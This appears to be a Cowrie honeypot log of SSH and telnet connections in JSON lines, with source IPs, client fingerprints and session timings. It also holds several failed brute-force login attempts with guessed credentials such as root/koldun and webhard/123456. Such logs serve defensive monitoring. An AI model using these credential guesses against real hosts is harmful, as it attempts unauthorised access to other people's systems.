{"eventid":"cowrie.session.closed","duration":36.62887501716614,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:35.296848Z","src_ip":"172.81.62.90","session":"21ae8173a126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38664,"dst_ip":"159.203.135.109","dst_port":22,"session":"82a0ed78e0ff","protocol":"ssh","message":"New connection: 103.27.238.114:38664 (159.203.135.109:22) [session: 82a0ed78e0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:36.528521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:36.532067Z","src_ip":"103.27.238.114","session":"82a0ed78e0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:36.798012Z","src_ip":"103.27.238.114","session":"82a0ed78e0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koldun","message":"login attempt [root/koldun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:37.596887Z","src_ip":"103.27.238.114","session":"82a0ed78e0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:38.866979Z","src_ip":"103.27.238.114","session":"82a0ed78e0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34406,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a2eecaa5682","protocol":"ssh","message":"New connection: 103.122.221.179:34406 (10.17.0.5:22) [session: 7a2eecaa5682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:40.732318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:40.736439Z","src_ip":"103.122.221.179","session":"7a2eecaa5682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:40.995357Z","src_ip":"103.122.221.179","session":"7a2eecaa5682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"davinci","message":"login attempt [root/davinci] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:41.776649Z","src_ip":"103.122.221.179","session":"7a2eecaa5682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:15:43.039737Z","src_ip":"103.122.221.179","session":"7a2eecaa5682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36258,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecf55a128b3a","protocol":"ssh","message":"New connection: 89.223.69.22:36258 (10.17.0.5:22) [session: ecf55a128b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:01.030747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:01.037086Z","src_ip":"89.223.69.22","session":"ecf55a128b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.597816467285156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:01.071497Z","src_ip":"172.81.62.90","session":"b28a4d86ceed","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:01.152607Z","src_ip":"89.223.69.22","session":"ecf55a128b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:01.500322Z","src_ip":"89.223.69.22","session":"ecf55a128b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:02.617933Z","src_ip":"89.223.69.22","session":"ecf55a128b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":44285,"dst_ip":"10.17.0.5","dst_port":23,"session":"1108c1796b2d","protocol":"telnet","message":"New connection: 99.227.227.84:44285 (10.17.0.5:23) [session: 1108c1796b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:21.372423Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39864,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d112a99cffe","protocol":"ssh","message":"New connection: 103.15.222.183:39864 (10.17.0.5:22) [session: 1d112a99cffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:37.876348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:37.880704Z","src_ip":"103.15.222.183","session":"1d112a99cffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:38.135100Z","src_ip":"103.15.222.183","session":"1d112a99cffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:38.890988Z","src_ip":"103.15.222.183","session":"1d112a99cffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:40.144686Z","src_ip":"103.15.222.183","session":"1d112a99cffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52694,"dst_ip":"159.203.135.109","dst_port":22,"session":"50ee33520de0","protocol":"ssh","message":"New connection: 80.94.92.184:52694 (159.203.135.109:22) [session: 50ee33520de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:44.932658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:45.079515Z","src_ip":"80.94.92.184","session":"50ee33520de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:45.236008Z","src_ip":"80.94.92.184","session":"50ee33520de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:47.405085Z","src_ip":"80.94.92.184","session":"50ee33520de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:16:48.881550Z","src_ip":"80.94.92.184","session":"50ee33520de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.11419677734375,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:17:07.486512Z","src_ip":"99.227.227.84","session":"1108c1796b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00193309783936,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:17:19.018295Z","src_ip":"99.227.227.84","session":"f90087e9b664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48010,"dst_ip":"159.203.135.109","dst_port":23,"session":"652d878131cc","protocol":"telnet","message":"New connection: 172.81.62.90:48010 (159.203.135.109:23) [session: 652d878131cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:17:34.252783Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":45612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aeff422d1a8","protocol":"telnet","message":"New connection: 128.199.209.169:45612 (159.203.135.109:23) [session: 0aeff422d1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:17:47.415332Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":34208,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf227bf66e9","protocol":"ssh","message":"New connection: 43.166.242.149:34208 (159.203.135.109:22) [session: ecf227bf66e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:00.695830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:00.700379Z","src_ip":"43.166.242.149","session":"ecf227bf66e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:00.709801Z","src_ip":"43.166.242.149","session":"ecf227bf66e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webhard","password":"123456","message":"login attempt [webhard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:00.786348Z","src_ip":"43.166.242.149","session":"ecf227bf66e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:02.456957Z","src_ip":"43.166.242.149","session":"ecf227bf66e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38922,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ef8519f70c","protocol":"ssh","message":"New connection: 37.233.85.71:38922 (10.17.0.5:22) [session: 72ef8519f70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:13.849428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:13.853023Z","src_ip":"37.233.85.71","session":"72ef8519f70c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:13.969601Z","src_ip":"37.233.85.71","session":"72ef8519f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"141284","message":"login attempt [root/141284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:14.309221Z","src_ip":"37.233.85.71","session":"72ef8519f70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35097122192383,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:14.603619Z","src_ip":"172.81.62.90","session":"652d878131cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:15.424441Z","src_ip":"37.233.85.71","session":"72ef8519f70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.10322451591492,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:34.518426Z","src_ip":"128.199.209.169","session":"0aeff422d1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.107.217.244","src_port":53082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae19350e6850","protocol":"ssh","message":"New connection: 211.107.217.244:53082 (10.17.0.5:22) [session: ae19350e6850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:36.667587Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:37.002201Z","src_ip":"211.107.217.244","session":"ae19350e6850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1af629930d8","protocol":"telnet","message":"New connection: 128.199.8.54:58326 (159.203.135.109:23) [session: e1af629930d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:18:55.261857Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59884,"dst_ip":"10.17.0.5","dst_port":22,"session":"002dcddeb1aa","protocol":"ssh","message":"New connection: 103.176.20.57:59884 (10.17.0.5:22) [session: 002dcddeb1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:01.403203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:01.410147Z","src_ip":"103.176.20.57","session":"002dcddeb1aa","protocol":"ssh"}
